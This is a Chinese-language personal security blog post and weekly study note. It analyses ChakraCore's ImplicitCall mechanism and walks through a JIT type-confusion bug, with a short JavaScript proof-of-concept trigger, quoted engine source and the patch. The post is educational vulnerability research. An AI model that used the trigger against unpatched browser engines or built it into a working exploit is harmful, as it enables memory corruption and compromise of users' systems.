上周五笔记本送修,水果店告诉我没有配件现货,订货加维修可能要一周时间,还以为这周的安全周报没法写了,结果周日就告诉我维修完成可以去拿,这售后可以啊!
这周主要是看ChakraCore的一些内部机制,比如回调相关的ImplicitCall机制
主要是学习的elli0tn0phack师傅的文章《Chakra漏洞调试笔记1——ImplicitCall》,这一系列文章我学到了很多,当然目前只是读了几遍,其中很多的知识点我都还在一点一点的学习,这周主要把ImplicitCall机制给学习清楚了,这里也感谢elli0tn0phack师傅和Sakura师傅耐心的指导,感谢师傅们!
- https://www.anquanke.com/post/id/180551
elli0tn0phack师傅在今年的BlueHat Shanghai也有关于浏览器安全相关的精彩演讲《Browser Script Engine Zero Days in 2018》
- https://images.seebug.org/archive/Browser_Script_Engine_Zero_Days_in_2018-EN.pdf
- https://www.microsoft.com/en-us/videoplayer/embed/RE39Zq1
这个会议的官网上有本次会议的大部分视频以及所有的Slides
- https://www.microsoft.com/china/bluehatshanghai/2019/#Agenda
关于ImplicitCall机制,它是用于防止执行回调修改了JS对象,但是JIT不知道的情况,比如valueOf
回调里修改了数组的长度,但是JIT循环的时候还是缓存的长度,那就会造成一个越界访问
Poc
function main() {
let arr = [1.1, 1.1, 1.1, 1.1, 1.1];
function opt(f) {
arr[0] = 1.1;
arr[1] = 2.3023e-320 + parseInt('a'.replace('a', f));
arr[2] = 1.1;
arr[3] = 1.1;
}
let r0 = () => '0';
for (var i = 0; i < 0x1000; i++)
opt(r0);
opt(() => {
arr[0] = {};
return '0';
});
print(arr[1]);
}
main();
这个漏洞的成因是因为在JITed Code里触发回调修改了数组arr
的类型,但是JIT Compiler没有意识到这一点,导致JS层数组修改了类型,但是引擎还把数组当作浮点数数组进行赋值操作
正常情况下JIT Compiler是考虑了回调改变对象内存布局这种情况的,具体实现由Js::Var ExecuteImplicitCall
来完成
template <class Fn>
inline Js::Var ExecuteImplicitCall(Js::RecyclableObject * function, Js::ImplicitCallFlags flags, Fn implicitCall)
{
// For now, we will not allow Function that is marked as HasNoSideEffect to be called, and we will just bailout.
// These function may still throw exceptions, so we will need to add checks with RecordImplicitException
// so that we don't throw exception when disableImplicitCall is set before we allow these function to be called
// as an optimization. (These functions are valueOf and toString calls for built-in non primitive types)
Js::FunctionInfo::Attributes attributes = Js::FunctionInfo::GetAttributes(function);
// we can hoist out const method if we know the function doesn't have side effect,
// and the value can be hoisted.
// 没有Side Effect的函数可以直接调用
if (this->HasNoSideEffect(function, attributes))
{
// Has no side effect means the function does not change global value or
// will check for implicit call flags
return implicitCall();
}
// Don't call the implicit call if disable implicit call
// 如果ImplicitCall被禁用表示不允许调用
if (IsDisableImplicitCall())
{
AddImplicitCallFlags(flags);
// Return "undefined" just so we have a valid var, in case subsequent instructions are executed
// before we bail out.
return function->GetScriptContext()->GetLibrary()->GetUndefined();
}
if ((attributes & Js::FunctionInfo::HasNoSideEffect) != 0)
{
// Has no side effect means the function does not change global value or
// will check for implicit call flags
return implicitCall();
}
// Save and restore implicit flags around the implicit call
// 此时明确有回调且有Side Effect,所以设置saveImplicitCallFlags的值
Js::ImplicitCallFlags saveImplicitCallFlags = this->GetImplicitCallFlags();
Js::Var result = implicitCall();
this->SetImplicitCallFlags((Js::ImplicitCallFlags)(saveImplicitCallFlags | flags));
return result;
}
函数RegexHelper::StringReplace
实现的地方,可以看到直接调用用户定义的函数,没有做检查
Var RegexHelper::StringReplace(JavascriptString* match, JavascriptString* input, JavascriptFunction* replacefn)
{
CharCount indexMatched = JavascriptString::strstr(input, match, true);
ScriptContext* scriptContext = replacefn->GetScriptContext();
Assert(match->GetScriptContext() == scriptContext);
Assert(input->GetScriptContext() == scriptContext);
if (indexMatched != CharCountFlag)
{
Var pThis = scriptContext->GetLibrary()->GetUndefined();
// 调用用户定义的函数
Var replaceVar = CALL_FUNCTION(scriptContext->GetThreadContext(), replacefn, CallInfo(4), pThis, match, JavascriptNumber::ToVar((int)indexMatched, scriptContext), input); // <--
JavascriptString* replace = JavascriptConversion::ToString(replaceVar, scriptContext);
const char16* inputStr = input->GetString();
const char16* prefixStr = inputStr;
CharCount prefixLength = indexMatched;
const char16* postfixStr = inputStr + prefixLength + match->GetLength();
CharCount postfixLength = input->GetLength() - prefixLength - match->GetLength();
CharCount newLength = prefixLength + postfixLength + replace->GetLength();
BufferStringBuilder bufferString(newLength, match->GetScriptContext());
bufferString.SetContent(prefixStr, prefixLength,
replace->GetString(), replace->GetLength(),
postfixStr, postfixLength);
return bufferString.ToString();
}
return input;
}
为什么最后面的标志位可以用于判断是否有回调呢?
我们来看Patch后的调用,传入的是ImplicitCall_Accessor
,对应的值是0x04
,最后通过|
就不是原来的值,所以JIT在检查的时候,一看ImplicitCallFlags
不是原来的值,那就说明ExecuteImplicitCall
判断这里存在回调,所以直接BailOut到Interpreter去解释执行
ThreadContext* threadContext = scriptContext->GetThreadContext();
Var replaceVar = threadContext->ExecuteImplicitCall(replacefn, ImplicitCall_Accessor, [=]()->Js::Var
{
Var pThis = scriptContext->GetLibrary()->GetUndefined();
return CALL_FUNCTION(threadContext, replacefn, CallInfo(4), pThis, match, JavascriptNumber::ToVar((int)indexMatched, scriptContext), input);
});
enum ImplicitCallFlags : BYTE
{
ImplicitCall_HasNoInfo = 0x00,
ImplicitCall_None = 0x01,
ImplicitCall_ToPrimitive = 0x02 | ImplicitCall_None,
ImplicitCall_Accessor = 0x04 | ImplicitCall_None,
ImplicitCall_NonProfiledAccessor = 0x08 | ImplicitCall_None,
ImplicitCall_External = 0x10 | ImplicitCall_None,
ImplicitCall_Exception = 0x20 | ImplicitCall_None,
ImplicitCall_NoOpSet = 0x40 | ImplicitCall_None,
ImplicitCall_All = 0x7F,
ImplicitCall_AsyncHostOperation = 0x80
};
之前分析的SamsungSMT逻辑提权漏洞,详细分析写了一半后来就没动了,看看下周写完给发出来吧,我喜欢逻辑漏洞,剩下的时间多看看编译原理,现在再来看编译原理感觉能和编译器很多知识点对应上,很有趣:))